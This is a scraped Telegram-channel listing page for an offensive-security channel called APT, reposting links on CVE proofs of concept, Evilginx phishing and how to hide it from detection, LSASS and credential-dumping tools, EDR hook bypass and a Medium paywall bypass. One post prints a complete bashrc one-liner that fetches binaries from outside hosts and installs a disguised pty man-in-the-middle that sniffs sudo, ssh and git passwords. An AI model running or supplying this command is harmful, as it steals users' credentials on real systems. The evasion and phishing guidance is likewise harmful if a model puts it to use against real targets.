Qidiruv uchun matnni kiriting
Ilg‘or kanal qidiruvi

Сообщество xChief

Свежие новости и аналитика Форекс и криптовалют
img
reklama

TGAlertsBot

Каналингиз репостлари ва эсловлари ҳақида хабар беради.
img
reklama

TGStat Bot

Telegram'дан чиқмай туриб каналлар статистикасини олиш
img
reklama

APT

@APT_Notes
Kanal geosi va tili: Rossiya, Inglizcha

This channel discusses:
— Offensive Security
— RedTeam
— Malware Research
— OSINT
— etc
Disclaimer:
t.me/APT_Notes/6
Chat Link:
t.me/APT_Notes_PublicChat

Связанные каналы  |  Похожие каналы
Kanal geosi va tili
Rossiya, Inglizcha
Toifa
Dastur va ilovalar
Statistika
Kanal siznikimi? Tasdiqlash Kanal tarixi
Postlar filtri

APT

14 May, 18:57

Telegram'da ochish Ulashish Shikoyat qilish
Похек dan repost
From Zero to Hero Phishing Company (ONSEC).pdf
1.1Mb
From Zero to Hero: Phishing company
#phishing #фишинг #перевод #от_подписчика

Эксклюзивно для канала Похек, @resource_not_found сделал перевод этой статьи на русский язык.

🙏 Спасибо большое ему и надеюсь она будет вам полезна)

🌚 @poxek
1.1k 0 123 1 10
APT

13 May, 13:36

Telegram'da ochish Ulashish Shikoyat qilish
🏆 Pentest Award: Ежегодная независимая премия для пентестеров

Команда Awillix объявила о начале приема заявок на ежегодную премию — Pentest Award.

Это отличная возможность выразить свои достижения и продемонстрировать вклад в ИБ сообщество, а также поделиться лучшими практическими историями.

В этот раз будет 6 номинаций, по три призовых места в каждой:

— Пробив WEB;
— Пробив инфраструктуры;
— Девайс;
— Hack the logic;
— Раз bypass, два bypass;
— Ловись рыбка.

Главный приз — тяжеленная стеклянная именная статуэтка, которую, к слову, в прошлом году выиграл мой дорогой snovvcrash за первое место.

И, конечно, не менее главные призы: макбуки, айфоны, смарт-часы, умные колонки, а также другие бесценные подарки от BI.ZONE Bug Bounty и VK Bug Bounty.

#pentestaward
1.7k 0 11 8
APT

7 May, 00:02

Telegram'da ochish Ulashish Shikoyat qilish
Offensive Twitter dan repost
😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]

A ~/.bashrc 1-liner to sniff 🐶 sudo/ssh/git passwords (pty MitM). No root required 👀

command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& curl -o ~/.config/.pty/pty -fsSL "https://bin.ajam.dev/$(uname -m)/Baseutils/script" \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t0 ] && [[ "$HISTFILE" != *null* ]] && [ -x ~/.config/.pty/ini ] && [ -x ~/.config/.pty/pty ] && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -qaec "exec -a -bash '"$(command -v bash)"'" -I ~/.config/.pty/.@pty-unix.$$\e[0m'

🔗 https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet?tab=readme-ov-file#10-session-sniffing-and-hijaking

🐥 [ tweet ]

прикольно, напомнило https://ppn.snovvcrash.rocks/pentest/infrastructure/post-exploitation#vim-keylogger
2k 0 59 1 9
APT

18 Apr, 13:52

Telegram'da ochish Ulashish Shikoyat qilish
2.9k 0 68 14
APT

16 Apr, 07:32

Telegram'da ochish Ulashish Shikoyat qilish
1N73LL1G3NC3 dan repost
CVE-2024-21338

LPE from Admin to Kernel vulnerability on Windows 10 and Windows 11 operating systems with HVCI enabled.

Blog: https://hakaisecurity.io/cve-2024-21338-from-admin-to-kernel-through-token-manipulation-and-windows-kernel-exploitation/research-blog/
3.9k 0 46 14
APT

2 Apr, 18:34

Telegram'da ochish Ulashish Shikoyat qilish
Evilginx ❤️ Gophish

The highly anticipated official integration between Evilginx and Gophish has been unveiled in the latest Evilginx 3.3 update. Alongside this major feature, the update brings numerous quality-of-life enhancements.

🔗 https://breakdev.org/evilginx-3-3-go-phish/

#evilginx #gophish #phishing
5.7k 0 74 1 23
APT

27 Mar, 09:23

Telegram'da ochish Ulashish Shikoyat qilish
1N73LL1G3NC3 dan repost
Video oldindan ko‘rish uchun mavjud emas
Telegram'da ko‘rish
CVE-2024-1086 Linux kernel LPE

Universal local privilege escalation Proof-of-Concept exploit for CVE-2024-1086, working on most Linux kernels between v5.14 and v6.6, including Debian, Ubuntu, and KernelCTF. The success rate is 99.4% in KernelCTF images.

A full write-up of the exploit - including background information and loads of useful diagrams - can be found in the Flipping Pages blogpost.
5k 0 58 18
APT

7 Mar, 19:33

Telegram'da ochish Ulashish Shikoyat qilish
PT SWARM dan repost
🎁 Source Code Disclosure in IIS 10.0! Almost.

There is a method to reveal the source code of some .NET apps. Here's how it works.

👉 https://swarm.ptsecurity.com/source-code-disclosure-in-asp-net-apps/
4.5k 0 45 1 12
APT

27 Feb, 19:22

Telegram'da ochish Ulashish Shikoyat qilish
5.1k 0 74 17
APT

19 Feb, 16:11

Telegram'da ochish Ulashish Shikoyat qilish
1N73LL1G3NC3 dan repost
Video oldindan ko‘rish uchun mavjud emas
Telegram'da ko‘rish
CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC

📜 Description
This script presents a proof of concept (PoC) for CVE-2024-21413, a significant security vulnerability discovered in Microsoft Outlook with a CVSS of 9.8. Termed the #MonikerLink bug, this vulnerability has far-reaching implications, including the potential leakage of local NTLM information and the possibility of remote code execution. Moreover, it highlights an attack vector that could bypass Office Protected View, thereby extending its threat to other Office applications.
5.6k 0 66 1 17
APT

16 Feb, 15:05

Telegram'da ochish Ulashish Shikoyat qilish
4.4k 0 38 8
APT

15 Feb, 16:10

Telegram'da ochish Ulashish Shikoyat qilish
SecuriXy.kz dan repost
Теперь можно извлекать учетные данные без обращения к диску (Dumping credentials without touching disk) с помощью утилиты #go-secdump которая поддерживает и SOCKS Proxy решая проблему #Impacket

https://github.com/jfjallid/go-secdump

скоро и в Impacket запилят и будет красота
https://github.com/fortra/impacket/pull/1698
3.9k 0 99 15
APT

8 Feb, 14:08

Telegram'da ochish Ulashish Shikoyat qilish
7.4k 1 81 9
APT

7 Feb, 18:32

Telegram'da ochish Ulashish Shikoyat qilish
⚙️ MultiDump

This is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly. MultiDump supports LSASS dump via ProcDump.exe or Comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis

🔗 https://github.com/Xre0uS/MultiDump

#lsass #remote #cpp #python
5.6k 0 130 20
APT

6 Feb, 17:49

Telegram'da ochish Ulashish Shikoyat qilish
👍 Whitespots: Application Security Platform

It’s a really powerful security automation platform for those of us who are working on defense side.

🚀 The platform solves such problems as:
— Issues deduplication (within incremental scans + between different scanners using rules);
— Automated verification (using rules);
— Automated resolving (if the issue doesn’t exist in a new report);
— Running of custom tools in a sequence (like Subfinder -> Naabu -> Httpx-> Nuclei);
— Sequences scheduling.

🔗 Source:
https://gitlab.com/whitespots-public/appsec-portal

#devsecops #sast #dast #osa #automation
How to automate vulnerability scanning process?
Use Whitespots Appliation Security portal to quickly discover vulnerabilities within a few clicks
4.3k 0 62 13
APT

6 Feb, 15:04

Telegram'da ochish Ulashish Shikoyat qilish
⚙️ Introduction to Bypassing Hooks EDR

The article explores methods of bypassing EDR hooks in the user mode of the Windows operating system, starting with an explanation of system calls and their role in transitioning between user and kernel modes. Subsequently, various techniques for bypassing hooks are discussed, including direct and indirect syscalls, along with their advantages and potential limitations when used for evading protective mechanisms.

🔗 https://malwaretech.com/2023/12/an-introduction-to-bypassing-user-mode-edr-hooks.html

#maldev #edr #hooks #syscalls
An Introduction to Bypassing User Mode EDR Hooks – MalwareTech
Understanding the basics of user mode EDR hooking, common bypass techniques, and their limitations.
3.9k 0 55 9
APT

2 Feb, 15:23

Telegram'da ochish Ulashish Shikoyat qilish
Video oldindan ko‘rish uchun mavjud emas
Telegram'da ko‘rish
🖼️ Bypass Medium Paywall

A little lifehack if you, like me, come across paid articles from Medium. These sites allow you to read paid Medium articles for free:

🔗 https://freedium.cfd/
🔗 https://medium-forall.vercel.app/

#medium #premium #bypass
28.2k 10 804 3 28
APT

2 Feb, 12:14

Telegram'da ochish Ulashish Shikoyat qilish
Ralf Hacker Channel dan repost
Набор инструментов для удалённого дампа паролей.

https://github.com/Slowerzs/ThievingFox/

Ну и сам блог:
https://blog.slowerzs.net/posts/thievingfox/

#pentest #redteam #creds
3k 0 64 9
APT

31 Jan, 20:06

Telegram'da ochish Ulashish Shikoyat qilish
⛓ Trusted Domain, Hidden Danger

In this blog post describes a prevalent tactic used in phishing attacks, which involves exploiting legitimate platforms for redirection through deceptive links.

Source:
🔗 https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/trusted-domain-hidden-danger-deceptive-url-redirections-in-email-phishing-attacks/

#phishing #url #redirect
3.9k 0 57 10
APT

31 Jan, 18:14

Telegram'da ochish Ulashish Shikoyat qilish
🖼️ Protect Evilginx using Cloudflare

Using a combination of Cloudflare and HTML Obfuscation, it is possible to protect your Evilginx server from being flagged as deceptive and so increase your chances of success on Red Team and Social Engineering engagements.

Source:
🔗 https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation

#phishing #cloudflare #evilginx #html
3.7k 0 69 9
20 ta oxirgi post ko‘rsatilgan.